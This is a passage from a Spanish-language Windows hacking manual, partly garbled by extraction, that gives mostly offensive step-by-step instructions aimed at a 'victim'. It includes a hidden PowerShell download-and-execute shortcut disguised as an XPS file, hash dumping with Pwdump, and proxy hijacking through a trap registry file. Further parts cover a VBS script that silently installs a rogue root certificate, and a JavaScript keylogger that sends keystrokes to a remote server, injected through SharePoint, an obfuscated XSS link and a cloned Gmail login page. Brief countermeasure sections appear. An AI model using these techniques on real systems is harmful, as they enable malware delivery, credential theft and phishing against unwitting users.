que el número de caracteres es limitado en un acceso directo. Descargamos la aplicación y la abrimos; el código siguiente muestra esta funcionalidad. $web.DownloadFile(’http://web/app.exe’,’C:\Users\Public\app.exe’) C:\Users\Public\app.exe

Para hacer un acceso directo aprovechable, separamos las líneas por punto y coma y usamos powershell -command. El símbolo «&» permite la ejecución inmediata de los comandos. Acuérdese de quitar los espacios que sobren y de reducir los nombres de las variables en la parte de los comandos para ganar espacio eliminando los caracteres inútiles. Powershell.exe -command "&{ $w=New-Object System.Net.WebClient; $w.DownloadFile(’http://web/app.exe’,’ c:\users\public\app.exe’); c:\users\public\app.exe;}” Puede reducir también el tamaño de la dirección web usando sitios que transforman una URL larga en una URL mucho más corta: http://goo.gl/ http://ting.cc/ http://tinyarrows.com/ http://ow.ly/url/shorten-url/ Una vez creado el acceso directo, puede probarlo haciendo en él. Para crear una aplicación que se ejecuta y abre un fichero XPS, vaya al apartado Trucar una aplicación con las herramientas integradas en Windows y adapte la solución. El único problema de esta técnica es la apertura de la ventana de PowerShell mientras se descarga el fichero. Puede reducir el tiempo de apertura de esta ventana PowerShell usando el parámetro -WindowStyle hidden, que esconde la ventana en pocos segundos, pero sin embargo esto alarga nuestra línea de comando. Powershell -WindowStyle hidden -command "&{ etc... Haga que su fichero sea lo más pequeño posible para que PowerShell solo se quede un instante corto en el administrador de tareas. Puede añadir xpsrchvw.exe; delante de $w. Este comando arranca el lector XPS. Esto tendrá como efecto que se esconda la ventana de PowerShell. El lector está instalado por defecto en Windows Vista y Windows 7, pero no en las versiones servidores o en Windows 8. Powershell.exe -WindowStyle hidden -command "&{ xpsrchvw.exe;$w=New-Object System.Net.WebClient; $w.DownloadFile(’http://web/app.exe’,’ c:\users\public\app.exe’);c:\users\public\app.exe;}” Para acabar el ataque, renombre el acceso directo a documento.xps. Modifique el icono del acceso directo por el icono que se encuentra en el ejecutable xpsrchvw.exe, como se muestra en la imagen siguiente:

Ponga el acceso directo en un fichero ZIP. Envíe el fichero así creado a la víctima. El resultado será de su agrado, aparecerá el visor el tiempo que la aplicación se descargue. La aplicación cierra el visor y lo reabre con un fichero XPS auténtico incluido en la misma aplicación. En Windows 8 y Windows Server, puede usar Paint para la imagen, o también Adobe PDF, si se encuentra instalado en los puestos de su empresa. Los medios técnicos están al alcance de su mano, solo queda ser creativo.

4. Contramedidas Debe bloquear o limitar el uso de la línea de comandos y de PowerShell para los usuarios usando políticas de grupo. Debe asimismo vigilar y bloquear la descarga de programas de Internet usando un proxy web. Piense también en informar a los usuarios sobre la problemática de los programas enviados por un tercero que no pertenezca al departamento de soporte informático. Evidentemente, el usuario no debe ser administrador de su puesto de trabajo y el control de la cuenta de usuario (UAC) debe estar activado.

Cómo extraer una contraseña en un equipo o un controlador de dominio Este capítulo nos permitirá demostrar que es posible cambiar la contraseña de un usuario sin tener conocimiento de la antigua contraseña, extraer las contraseñas guardadas en un equipo local o un controlador de domino. Es también posible escuchar las conversaciones de red para recuperar las informaciones de autenticación sin necesidad de acceder directamente al sistema o descifrar una contraseña interceptada aunque esté protegida.

Vamos a empezar por modificar la contraseña de un usuario sin saber la antigua. A decir verdad, es el usuario quien la va a cambiar. Para ello, vamos a encapsular el siguiente script con una de las técnicas vistas en el capítulo anterior, es decir, entregar a nuestra víctima un documento, una aplicación o un zip trampa con un pequeño trozo de código. Aquí tiene el script si va a modificar una aplicación o un controlador.

Aquí, la línea de código si modifica un documento de Office: El resto de los pasos han sido explicados en el capítulo anterior, que puede tomar como referencia. Una vez el documento o la aplicación ejecutada, la contraseña del usuario se cambiará en el dominio. Si la contraseña local debe modificarse, quite /Domain al final de la línea de comandos.

1. Herramientas de extracción de contraseñas de sesión a. La SAM en detalle

Las contraseñas están encriptadas y guardadas en un sitio adonde no se puede acceder directamente con cuentas de usuarios o de administradores. Solo la cuenta de sistema tiene permiso para buscar información allí. Este sitio es la SAM (Security Account Management) para las cuentas locales y el Active Directory para los usuarios del dominio. En las versiones de Windows anteriores a Vista, la contraseña se guardaba en LanManager, un sistema muy débil. Desde Vista, el sistema guarda un hash de la contraseña usando MD4.

Al abrir una sesión local, la contraseña que el usuario teclea en la ventana de inicio de sesión es resumida y comparada con la que se encuentra guardada en la SAM. En ningún momento la contraseña se encuentra en texto plano.

¿Pero realmente qué es la SAM? ¿Dónde se almacena? ¿Cómo se puede acceder a ella?

La SAM es un fichero de registro que sirve para almacenar las contraseñas, así como otras informaciones de los usuarios locales: %systemroot%\system32\config\SAM

El fichero forma parte, como otros ficheros del registro del equipo, de una carpeta de sistema.

Offline, arrancando con un medio oficial de Windows, es posible leer el fichero SAM o robarlo para crackearlo más tarde. Puede acceder también con los permisos de sistema creando un servicio o adquiriendo los privilegios de sistema en el PC. Entonces puede leer la parte del registro que guarda estas contraseñas con regedit en su equipo actual. Para obtener los permisos de sistema en un equipo, vaya al capítulo Tomar el rol de administrador o de sistema. Seguidamente, puede ver un ejemplo sobre un sistema sin necesidad de reinicio usando los privilegios de sistema:

Encontrará datos como las contraseñas cifradas y las informaciones sobre los grupos de seguridad en el registro: SAM\SAM\Domains\Account\Users Gracias a los permisos de sistema, puede ver elementos que normalmente no puede ver un usuario, como por ejemplo, en la imagen siguiente, para el usuario Admin, el valor 0x3e8, que corresponde a su RID, es decir, 1006 en decimal.

La contraseña, así como otras informaciones HKLM\SAM\SAM\Domains\Account\Users\000003E8

para

Admin,

se

encuentran

en

la

clave

de

registro:

La clave V, llamada V-Block, almacena la contraseña del usuario, así como informaciones sobre su perfil.

Este bloque contiene el hash de la contraseña, pero el contenido se encuentra cifrado en DES y usa dos claves derivadas del RID del usuario para protegerlo.

La cuenta de sistema tiene acceso a las contraseñas en forma de resumen. Si desea extraerlas automáticamente, tendrá que crear una aplicación, como un servicio, que pueda obtener estos permisos.

b. Extraer las contraseñas de la SAM

Para extraer las contraseñas, vamos a utilizar una herramienta. Encontrará en Internet la herramienta Pwdump, que extraerá los datos del registro. Solo nos quedará descifrarlas. Ejecutar la herramienta con privilegios elevados no es suficiente. Se debe ejecutar con la cuenta de sistema. De lo contrario, obtendrá el siguiente mensaje:

Arranque Pwdump en su versión 6 con la cuenta de sistema y los parámetros siguientes:

PwDump.exe -x localhost > pass.txt

El

fichero pass.txt contiene ahora todos los hash MD4 de las contraseñas.

El resultado de la extracción se parece al listado siguiente:

admin:1006:00000000000000000000000000000000: 61feeb455de86806b42b88f55f2d569d::: Obtenemos así el nombre de usuario, su RID, la contraseña en LM que desde Vista no se almacena y por fin la contraseña en NTML. La parte que nos interesa es la última:61feeb455de86806b42b88f55f2d569d

Usaremos esta información cuando intentemos averiguar la contraseña.

c. Extraer las contraseñas de un controlador de dominio En una empresa, el hash de las contraseñas se almacena en el Active Directory, precisamente en la base de datos NTDS.dit. Los atributos Unicodepwd y User-Password parecen contener estas informaciones. Pero es imposible obtener una respuesta del controlador de dominio, incluso con herramientas comoAdsedit o ldp. Para buscar estos campos, debe leer directamente el fichero NTDS.dit. Este fichero es una base de datos del mismo tipo que Exchange o que la indexación de ficheros en Windows Vista. Utiliza un motor ESE (Extensible Storage Engine). La clave de cifrado para el acceso a ciertas tablas que contienen las contraseñas es la misma para todos los controladores de dominio. La clave de sistema (SYSKEY) protege la clave de cifrado de las contraseñas en cada máquina. Los que desean ir más allá en este asunto, encontrarán información en las direcciones siguientes:http://code.google.com/p/libesedb/downloads/list y http://www.nirsoft.net/utils/ese_database_view.html Para hacerlo más sencillo, vamos a utilizar en un controlador de dominio la herramienta que ya hemos usado: Pwdump en su versión 6. Ejecútela directamente en el DC como usuario sistema. Pwdump -x Localhost

La

herramienta consigue los hashes de las contraseñas de todos los usuarios del dominio.

Pwdump puede usarse remotamente si el servidor no tiene activado el firewall local, pero sí los servicios de gestión remota.

pwdump -o passwd.txt -u Dominio\Usuario -p ’contraseña’ NombrePC Existen otras herramientas para la línea de comandos, como SAMDump, cuyo principio de uso es parecido al ya descrito. En resumen, es posible extraer el hash de la contraseña de un usuario, ya sea este local o en un dominio. Se debe tener para eso privilegios de sistema en el equipo que lo almacena. Encontrará otras herramientas en el capítulo Desarrollar sus propias herramientas de hacking - Romper una contraseña.

Los que desean crear sus propias herramientas de extracción de contraseñas, encontrarán fácilmente en Internet las fuentes de la herramienta Pwdump escrita en C.

2. Herramientas de extracción de otras contraseñas

Un puesto de trabajo puede almacenar numerosas informaciones interesantes para un pirata, como un nombre de usuario y una contraseña para la apertura de un sitio compartido, de un sitio web, de una cuenta de correo electrónico, de una red Wifi.

Las contraseñas de aplicaciones se guardan generalmente en el registro del usuario, en texto plano, en hexadecimal, en binario o con un cifrado reversible. Las contraseñas se encuentran en un momento u otro en texto plano en la memoria; es una de las maneras empleadas por los programas para leerlas.

a. Analizar el funcionamiento de una aplicación

La contraseña se encuentra raramente en texto plano en el registro. Esto depende fundamentalmente del software que la almacena. En el caso de una contraseña cifrada, la clave de descifrado se encuentra también en el sistema. Encontrar una contraseña es un poco como jugar «al perro y al gato» entre el lugar y la manera donde se almacenan la clave de cifrado y la contraseña del software.

Por lo tanto, vamos a ver cómo encontrar dónde se almacenan las contraseñas y, eventualmente, las claves de cifrado.

Para ello, usaremos una herramienta de Microsoft que en origen fue escrita por Mark Russinovich y Bryce Cogswell para Sysinternals. Se trata de ProcessMon.exe, que representa una mezcla de RegMon, NetMon y FileMon y que permite vigilar el acceso de una aplicación a un fichero o a una clave de registro y el acceso a la red. Process Monitor se puede descargar en el sitio web de Microsoft:http://technet.microsoft.com/enus/sysinternals/bb896645.aspx

Vamos a tomar el ejemplo de las contraseñas que Internet Explorer guarda al almacenar las informaciones de los campos de un formulario web. La carpeta de almacenamiento depende de la versión de IE.

Al almacenar o leer una contraseña en IE, podemos observar la lectura/escritura de los valores de las claves siguientes:

Antes del almacenamiento de una contraseña, el registro se parece a lo siguiente:

Justo después, se añade la subclave Storage2 con una entrada binaria.

El GUID del equipo también es leído justo antes que la clave anterior en el cifrado o descifrado de la contraseña. Es normal, ya que el GUID se usa al realizar estas operaciones de cifrado, así como la URL.

Desde IE7 hasta IE9, el navegador Explorer\IntelliForms\Storage2

guarda

las

contraseñas

en:

HKCU\Software\Microsoft\Internet

IE10 utiliza el Credential Manager para recordar sus contraseñas en un fichero que se encuentra en el directorio: C:\Users\[NombreUsuario]\AppData\Roaming\Microsoft\Credentials

Este tipo de análisis permite comprender el modo de funcionamiento y el proceso de cifrado y almacenamiento, pero no nos da el algoritmo utilizado. Para esto hay que buscar o descompilar la aplicación, lo que se aleja del objetivo de esta obra.

b. Recuperar la contraseña de una conexión inalámbrica guardada en el PC

Con la misma herramienta de monitoreo, podemos encontrar dónde se almacenan las contraseñas de las conexiones inalámbricas en un PC. Extraer estas informaciones de un equipo objetivo podría permitir a un atacante conectarse a su red privada o a la de la empresa. Estas informaciones se almacenan con el SSID y el tipo de cifrado utilizado: C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\

El directorio Interface contiene un subdirectorio por cada tarjeta de red Wifi.

Las informaciones de las claves se almacenan en un fichero XML con un nombre aleatorio. Para comprender mejor el funcionamiento del guardado de estas claves, vamos a crear una nueva conexión segura y buscaremos la contraseña. Cree una nueva conexión de red inalámbrica desde el Panel de control.

Escriba un nombre y una contraseña para esta conexión.

La nueva conexión se ha guardado y se ha cifrado la contraseña.

c. Crear una herramienta de recuperación de una conexión inalámbrica

Vamos a crear una herramienta para descifrar y recuperar la contraseña de una conexión inalámbrica. El fichero que guarda la clave contiene un valor cifrado llamado keyMaterial. Para descifrar este valor, es posible usar las API de wlanapi.dll con WlanGetProfile o CryptUnprotectData de Crypt32.dll.

Encontrará información sobre us/library/ms706987(VS.85).aspx

el

valor

keyMaterial

aquí: http://msdn.microsoft.com/en-

Para compilar el código propuesto, puede descargar y utilizar Visual Studio 2013 Express para Windows Desktop en el sitio web de Microsoft: http://www.visualstudio.com/products/visual-studio-express-vs

El código que va a escribir está en parte inspirado por el código de ejemplo, facilitado por Microsoft, sobre el uso de la función WlanGetProfile. Encontrará el ejemplo en el sitio web de Microsoft en el enlace siguiente: http://msdn.microsoft.com/en-us/library/windows/desktop/ms706738(v=vs.85).aspx

Escriba el siguiente código en un editor de texto o en Visual Studio Express (C++).

#ifndef UNICODE #define UNICODE #endif

#include #include #include #include

#include #include

// Need to link with Wlanapi.lib and Ole32.lib #pragma comment(lib, "wlanapi.lib") #pragma comment(lib, "ole32.lib")

int _cdecl wmain(int argc, WCHAR **argv) {

HANDLE hClient = NULL; DWORD dwMaxClient = 2;

//

DWORD dwCurVersion = 0; DWORD dwResult = 0; DWORD dwRetVal = 0; int iRet = 0;

WCHAR GuidString[39] = {0};

unsigned int i;

PWLAN_INTERFACE_INFO_LIST pIfList = NULL; PWLAN_INTERFACE_INFO pIfInfo = NULL;

Una vez el código compilado, puede usar el programa con objeto de recuperar una contraseña guardada para una red inalámbrica determinada. Ejecute su programa con privilegios elevados indicando como parámetro el SSID de la red Wifi.

Preste atención a las mayúsculas y minúsculas, ya que son importantes.

El resultado se presenta en pantalla en el valor keyMaterial.

El código completo, así como una versión compilada de la herramienta, se pueden descargar desde la página Información.

d. Otras herramientas

Vamos a desarrollar herramientas para recuperar las contraseñas de cada aplicación, aunque existen una multitud de herramientas gratuitas descargables.

Además, la mayoría de estas herramientas se puede obtener con script, lo que permite una eventual comunicación con su aplicación.

Por ejemplo, en el sitio web http://www.nirsoft.net/ encontrará herramientas que permiten recuperar las contraseñas almacenadas desde las versiones IE7 hasta IE9.

Una herramienta que permite recuperar la contraseña del Wifi (como la que acabamos de desarrollar):

Recuperar las contraseñas de red:

Una contraseña almacenada en un fichero RDP:

Securityxploded.com es otro sitio web que propone un conjunto de herramientas que permiten recuperar una contraseña perdida, como PDF Password Recovery:

Outlook Password Decryptor permite obtener informaciones interesantes sobre las cuentas de correo electrónico almacenadas. En el entorno de las pymes, no es raro disponer de cuentas de correo electrónico POP o IMAP.

Word Password Recovery permite encontrar las contraseñas de los documentos de Word protegidos:

La mayoría de estas herramientas se pueden usar en línea de comandos y por lo tanto pueden incorporarse en un script. Esto significa que pueden integrarse en un programa pirata, como hemos visto en los capítulos anteriores.

Este programa, usado para recuperar informaciones guardadas por Safari, lo demuestra.

3. Contramedidas

Para impedir la extracción de las contraseñas, en primer lugar debe evitar que los usuarios puedan convertirse en administradores de un equipo o del dominio. Solo así conseguirá reducir las fugas de información. Debe instalar un antivirus eficaz y actualizarlo diariamente para que detecte productos como Pwdump y los demás programas de extracción de contraseñas. A nivel de procedimiento, configure distintas cuentas de usuario para la administración de los equipos, de los servidores y de los controladores de dominio. Para cada usuario con necesidad de permisos de administración, cree una cuenta de usuario diferente según el rol con objeto de cumplir el principio del mínimo privilegio.

Por ejemplo, para el usuario Bob: •

Cree una cuenta Bob para el uso habitual como el correo electrónico, los documentos, la navegación web, etc.



Cree una cuenta ADM_SRV_Bob para la administración de servidores.



Cree una cuenta ADM_AD_Bob para la administración de Active Direc-tory.



Cree una cuenta ADM_PC_Bob para la administración de los PC.

Esto reducirá la gravedad de un ataque si una de las cuentas es hackeada por un programa maligno.

¿Cómo recuperar una contraseña desde la red? Las contraseñas circulan también a través de la red. Los sitios web, los programas o el acceso a recursos solicitan informaciones de la conexión. Vamos a aprovecharlo para recuperar las contraseñas.

1. Utilización de un proxy

Cuando el usuario accede a un sitio web o a una intranet, se le puede solicitar un nombre de usuario, así como una contraseña en un formulario web.

El navegador se conecta en la mayoría de los casos directamente a una intranet, pero a veces utiliza un proxy para hacerlo a un sitio web. El tráfico, incluida la contraseña, pasa, por lo tanto, por este proxy. Usaremos el

mismo principio para recuperar la contraseña de un usuario que accede a una intranet o que usa un programa autenticándose por un webservice. Tenemos para esto dos tareas que realizar: poner en marcha un proxy que nos facilitará las informaciones buscadas y redirigir el tráfico web del usuario hacia nuestro proxy.

a. Configurar el objetivo

Para redirigir el tráfico, vamos a modificar el registro del usuario utilizando un programa o un fichero trampa (ver el capítulo Tomar el rol de administrador o de sistema). Haga que el usuario objetivo ejecute la clave que modifica el registro.

HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings "MigrateProxy"=dword:00000001 "ProxyEnable"=dword:00000001 "ProxyHttp1.1"=dword:00000001 "ProxyServer"=" http=nombredenuestroequipo:8080" De esta manera, solo afectamos al tráfico HTTP. HTTPS será explicado en el apartado siguiente.

b. Usar Burp Proxy

Para poner en marcha nuestra aplicación, usaremos Burp Proxy, que se puede descargar desde Internet. Burp Proxy es un programa que no necesita instalación y está escrito en Java, muy fácil de usar. Está disponible en la URL: http://portswigger.net/burp/download.html Una vez descargado, ejecute la aplicación y vaya al menú proxy - options y haga clic en edit. Desactive la opción listen on loopback interface only. Haga clic después en update. Sin esta modificación, el proxy solo escucha en la dirección de loopback 127.0.0.1.

En caso de que utilice ya un proxy en la empresa, puede configurar los campos redirect to host yredirect to port para redirigir el flujo de datos recibidos por Burp hacia el proxy por defecto de la empresa.

Después vaya al menú proxy - intercept, haga clic en intercept is On para desactivar la opción de intercepción; de lo contrario, cada petición saliente o entrante será bloqueada por el proxy hasta que sea validada. Esto permite la modificación «en vivo» de una petición saliente o entrante. El resultado debe parecerse a la siguiente imagen:

Una vez realizada la configuración, encontrará todas las peticiones y respuestas de estas en la pestañahistory. Vaya a la pestaña history, elija la petición que se va a analizar y vaya a request - params. Encontrará las informaciones pertinentes que está buscando.

La mayor parte de las veces, las informaciones interesantes se envían al servidor por medio de una petición de tipo POST, más discreta de cara al usuario si la comparamos con una petición GET, que pasa los parámetros dentro de la URL del navegador. Basta con buscar este tipo de petición en el proxy para encontrar una contraseña más rápidamente.

2. Introducción a los certificados y a HTTPS a. Principio de funcionamiento de HTTPS

HTTPS es la versión segura de HTTP. En un intercambio de datos entre un navegador y un servidor donde se usa SSL, el tráfico entre las dos partes está encriptado y protegido.

Los certificados son la base de la utilización de HTTPS. Para proteger el tráfico, tiene lugar la secuencia siguiente: •

Un cliente envía una petición de conexión a un servidor.



El servidor envía su clave pública al cliente.



El cliente comprueba la validez del certificado, validando entre otras cosas que el certificado ha sido emitido por una autoridad de certificación digna de confianza.



En la medida en que el certificado es válido o que el usuario decide continuar, el cliente encripta una clave simétrica utilizando la clave pública del servidor y envía dicha clave así protegida al servidor.



El servidor desencripta la clave enviada con su clave privada. El intercambio entre el servidor y el cliente a partir de ahora es cifrado con la clave simétrica enviada por el cliente.



La clave simétrica se cambia posteriormente con frecuencia.

Para verificar que la clave enviada por el servidor proviene efectivamente del servidor verdadero (para el que está creado el certificado), el cliente comprueba que en el certificado se halla la URL de la petición que se encuentra en el asunto o en las SAN (Subject Alternative Name) del certificado. La autoridad de certificación que ha generado el certificado debe ser reconocida. El cliente hace esta última verificación mirando en el almacén de certificados de los «Root CA» autorizados para el usuario y el almacén del equipo.

No vamos a atacar SSL directamente, sino configurando en el navegador un proxy para HTTPS. El proxy servirá entonces de punto final, y se creará un nuevo tráfico desde el proxy, también con HTTPS.

Para ello necesitamos un certificado SSL correctamente adaptado para devolverlo al cliente. Además, para que el navegador crea que le hemos enviado un certificado válido, añadiremos el certificado raíz que usaremos para firmar nuestro certificado al almacén del usuario o al del equipo, para que este lo vea como fiable. Si un certificado no es fiable, el navegador muestra un mensaje claro al usuario. No deseamos esto.

b. Pedir un certificado web o de firma de código

Vamos a pedir un certificado web a nuestra autoridad de certificados. La instalación de una autoridad de certificado está detallada en el capítulo que versa sobre las contramedidas técnicas. Abra una consola MMC y añada la gestión de certificados al equipo.

En la carpeta Personal, solicite un nuevo certificado haciendo clic con el botón derecho del ratón.

Vaya hasta la selección de la directiva de inscripción.

Seleccione la plantilla de tipo Servidor web y haga clic en Detalles, y después en el botónPropiedades.

Para solicitar un certificado de firma de código, los pasos que hay que seguir son los mismos, salvo en la elección del modelo. Debe elegir el modelo Firma de código. Los pasos Nombre común yOtro nombre no se realizan en este caso. Añada un nombre en el campo Nombre común. Este atributo es el asunto del certificado final.

Puede también añadir nombres alternativos con la ayuda del DNS (SAN Utilice *.sudominio.es para cubrir todas las páginas deseadas para un dominio.

de

nuestro

En la pestaña General, dé un nombre sencillo para encontrar fácilmente el certificado en el almacén.

certificado).

En la pestaña Clave privada, marque la opción Hacer exportable la clave privada para que la clave se exporte a nuestro proxy.

Ahora puede acabar la petición y después abrir el certificado recibido.

Observe el asunto, así como los asuntos alternativos en el caso de certificado web. Exporte el certificado creado con su clave privada.

Elija el formato PKCS #12.

Defina una contraseña, como por ejemplo «1234».

Gracias a esta exportación, puede instalar el certificado en cualquier equipo.

c. Configurar Burp Proxy para analizar HTTPS Puede configurar ahora Burp Proxy para usar el certificado. Vaya a la pestaña proxy - options, haga clic en edit y elija use a custom certificate. Seleccione su certificado e inserte la contraseña.

Haga clic en update para que las modificaciones sean aplicadas. Desde ahora el proxy puede interceptar el tráfico HTTPS y devolver un certificado al navegador.

d. Instalar un root CA con los permisos de usuarios

Ahora debemos hacer que nuestra víctima instale el certificado raíz. Para instalar un certificado en el almacén root del equipo, es preciso ser administrador del equipo. Sin embargo, para instalar un certificado en el almacén del usuario, no se necesita ningún permiso particular. Por lo tanto así procederemos, apuntando al usuario, y no al equipo. Pruebe la instalación del certificado raíz con el comando siguiente:

certutil -user -addstore root root.cer Debe saber que la ejecución de este comando genera un mensaje al usuario.

Para esconder este mensaje al objetivo y validar la instalación del certificado automáticamente, vamos a reemplazar el comando anterior por un script VBS. Este enviará una combinación de teclas para validar la instalación. Para que funcione, el foco debe ponerse en el programa. Pruébelo antes de enviarlo. Cree un nuevo fichero de texto con la extensión .VBS.

’Arrancamos certutil con los parámetros

Cree una

Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "certutil -user -addstore root root.cer", 9

’Esperamos 1 segundo que certutil se abra WScript.Sleep 1000

’Enviamos alt + o para confirmar la instalación WshShell.SendKeys "%o"

’Enviamos alt + y en el caso de sistemas en inglés WshShell.SendKeys "%y" aplicación trampa y haga que el usuario objetivo la ejecute.

Una vez la modificación realizada en el navegador del usuario objetivo, el usuario no percibirá que existe un proxy entre él y el servidor de destino. Sin embargo, el tráfico está cifrado por nuestro certificado hasta el proxy.

La contraseña es interceptada por el proxy y es visible en texto plano.

3. Script que permite capturar el teclado en una página web

En primer lugar, es necesario que tenga permiso para modificar una página de su intranet que disponga de una pantalla de login o un sitio Sharepoint con un formulario para una determinada aplicación. Entonces podrá añadir un script (o keylogger) que permitirá capturar las pulsaciones del teclado de la persona que consulte la intranet. En el contexto de una vulnerabilidad XSS, este código puede ser insertado directamente en una página de login.

a. La página web de recepción

Vamos primero a crear, para llevar a cabo esta técnica, la página que permite capturar las teclas presionadas por la víctima. Esta página aspx se almacenará en un servidor IIS. Puede crear esta página web con el Bloc de notas o cualquier editor de textos; no es necesario disponer de Visual Studio. Vamos a desarrollar una página que creará un fichero por dirección IP.

Esta página deberá guardarse en un servidor IIS que soporte .NET y las páginas aspx. Cree la página aspx con el siguiente contenido:



protected void Page_Load(object sender, EventArgs e) { string texto = Request.Params["teclas"]; string ipSource = (Request.UserHostAddress.Replace(":", "-")).Replace(".", "-"); if (texto != null) { if (texto.Length > 0) { System.IO.StreamWriter w = new System.IO.StreamWriter(@"c:\temp\Record-" + ipSource + ".txt", true); w.Write(texto); w.Flush(); w.Close(); } } }



b. El

código JavaScript

El tratamiento realizado es simplista (no gestiona las teclas especiales), pero da una idea de los principios de esta técnica, muy sencilla. Puede ahora añadir al script siguiente a la página web objetivo.



c.

var teclas=’’; document.onkeypress = function(e) { get = window.event?event:e; tecla= get.keyCode?get.keyCode:get.charCode; tecla= String.fromCharCode(tecla); teclas+=tecla; } window.setInterval(function() { new Image().src = ’http://server/Default.aspx?teclas=’+teclas; teclas= ’’; }, 1000);

Añadir el script en una página SharePoint

SharePoint se utiliza frecuentemente en las empresas como intranet, foro o plataforma de gestión documental.

Para poner en marcha el script en un sitio SharePoint u Office 365, basta con añadir un módulo de edición al contenido. Vaya a la página que se ha de modificar y edítela.

Añada un módulo de edición del contenido.

Modifique el código HTML.

Añada el script en la ventana de edición.

Ahora puede esconder el módulo modificando las propiedades de aparición de este.

Solo queda probarlo. Para ello, basta con acceder a la página. Rellene el formulario de login. Las teclas presionadas son enviadas al servidor y este las añadirá al fichero de texto que tiene por título la dirección IP origen.

Todas las informaciones escritas en el sitio SharePoint se almacenan, desde ahora discretamente en el servidor remoto. En general es igual de fácil realizar este ataque en foros mal protegidos o en los Wikis que no bloquean adecuadamente el código JavaScript.

d. Inyección del script en una página con vulnerabilidad XSS

Para añadir nuestro script, hemos utilizado de momento el permiso de escritura en el sitio web objetivo, pero no siempre resulta tan sencillo inyectar el código. En un sitio web donde no tenemos permisos de escritura, usaremos este mismo script sobre la vulnerabilidad XSS (Cross Site Scripting). Haremos la demostración con un formulario que posee una vulnerabilidad de este tipo. En su caso, deberá primero determinar la vulnerabilidad XSS antes de poder inyectar el script.

La primera fase es la detección de la vulnerabilidad y la comprobación de esta. La página de ejemplo siguiente reenvía el nombre de la página buscada e indica que no existe. Esto quiere decir que el texto facilitado como parámetro se envía al servidor y este lo representa en la página.

Para comprobar la vulnerabilidad, reemplazamos el nombre de la página por un código JavaScript que muestra un mensaje.

?redirect=alert(’ok’) ;

¡Perfecto! El script se envía al servidor y es ejecutado. Deberíamos poder inyectar el keylogger. Vamos a analizar el código fuente de la página.

El la página alert(’ok’); no existe . script se encuentra entre la apertura y el cierre de una etiqueta SPAN. Por lo tanto, para nosotros es importante cerrar la etiqueta SPAN antes de añadir el script.

alert(’ok’);admin

El

resultado será más preciso. Ahora podemos inyectar el script, pero en el caso de un script complejo sería mejor hacer referencia a este en vez de inyectarlo directamente. Vamos a usar una función JavaScript para descargar el keylogger en nuestra página. Basta con guardar el script en un fichero js en nuestro servidor y modificar nuestra petición de la siguiente manera:

Al ?redirect=admin rellenar los campos del formulario, las informaciones de las teclas presionadas se envían al servidor. Este las escribe en un fichero por cada dirección IP origen.

El script no resulta discreto en la URL. Tenemos que esconderlo mejor antes de difundir el enlace. Para ello, usaremos una función automática de los navegadores web: la conversión del texto hexadecimal en texto ASCII. Si escribe la URL siguiente en su navegador, verá un sitio web muy interesante:http://%77%77%77%2e %65%64%69%63%69%6f%6e%65%73%2d%65%6e%69%2e%63%6f%6d

Para convertir el texto en hexadecimal, puede descargarse el programa de conversión desde la página Información.

El resultado es el que buscamos: la URL ya no muestra ningún signo directo del script. Sin embargo, abriendo el código fuente de la página, podemos ver el script que carga el keylogger en la página.

Solo queda enviar el enlace por correo electrónico o añadirlo a la intranet de la empresa. Hemos visto cómo inyectar un keylogger simple de diferentes maneras. Si desea profundizar con este tipo de técnica, puede usar el keylogger con licencia GNU que se puede descargar en el siguiente enlace:http://sourceforge.net/projects/jskeylogger/files/

El paquete descargado integra un pequeño servidor web, un fichero JavaScript keylogger, así como ejemplos HTML para realizar pruebas. Es una buena manera de empezar sin desarrollar ni instalar nada.

4. Usar un sitio web falso copiado

Si el sitio web remoto no es vulnerable por XSS y no dispone de permisos de administración, resultará imposible inyectar el script para capturar el teclado. Sin embargo, una opción es presentar un sitio que se parezca al original, para que el usuario crea que se encuentra en la página verdadera de login. Un usuario generalmente está muy atento al diseño y reconoce fácilmente un sitio web mal hecho. Además, si es concienzudo, verá o controlará hacia dónde apunta el envío del formulario, poniéndose encima del botón enviar antes de hacer clic en él. El objetivo es, por lo tanto, disponer de una copia conforme al original y de no modificar los parámetros de envío del formulario.

a. Descargar el sitio web

Para descargarse el sitio web completo, usaremos un programa muy sencillo y eficaz. El programa se llama WinHtTrack y sirve para descargar una página o un sitio web completo con las imágenes, las hojas de estilo, los JavaScript, etc. Recrea los enlaces y, por lo tanto, el sitio web es completamente navegable.

Puede descargarlo en el siguiente enlace: http://www.httrack.com/

Una vez instalado el programa, le permite empezar un nuevo proyecto de copia. Vamos a tomar como ejemplo un sitio público conocido de mensajería. Dé un nombre al proyecto, así como al directorio donde se guardará el sitio web.

Añada la URL del sitio web que se va a copiar en el campo Dirección Web.

Las opciones le permiten limitar la profundidad del sitio que se va a copiar, las extensiones de los ficheros, así como fijar otras limitaciones interesantes. Le aconsejamos que limite la profundidad de la copia para evitar descargar todo Internet en su equipo. Haga clic en Finalizar para empezar la descarga.

Una vez acabada la copia, haga clic en el botón Hojear la web.

La página local ha sido perfectamente copiada. El formulario envía bien las informaciones de autenticación al destino habitual.

b. Modificar el sitio

Solo queda colocar la trampa en la página para obtener las informaciones de autenticación. Para ello, podríamos reenviar el formulario a una página que registre el nombre de usuario y la contraseña, pero no sería muy discreto. En vez de esto, vamos a añadir el código JavaScript que registra las teclas presionadas. Acceda al directorio donde se encuentran los ficheros de la página y abra la página index.

Es posible que el código HTML redirija al navegador hacia otro emplazamiento que representa la verdadera página de login, en nuestro caso, Service-Login49.html: Page has moved

Modifiq ue el fichero S erviceL ogin49. html pa ra añadir el código

Click here... JavaScript creado en el apartado Script que permite capturar el teclado en una página web justo después de la etiqueta «HEAD» y antes de la etiqueta «TITLE».

var teclas=’’; document.onkeypress = function(e) { get = window.event?event:e; tecla= get.keyCode?get.keyCode:get.charCode; tecla= String.fromCharCode(tecla); teclas+=tecla; } window.setInterval(function() { new Image().src = ’http://server/Default.aspx?teclas=’+teclas; teclas= ’’; }, 1000);

Gmail Las teclas presionadas en la autenticación se envían al servidor, y después se redirige al usuario a la web verdadera y directamente autenticado.

5. Redirección de puertos y escucha de la red

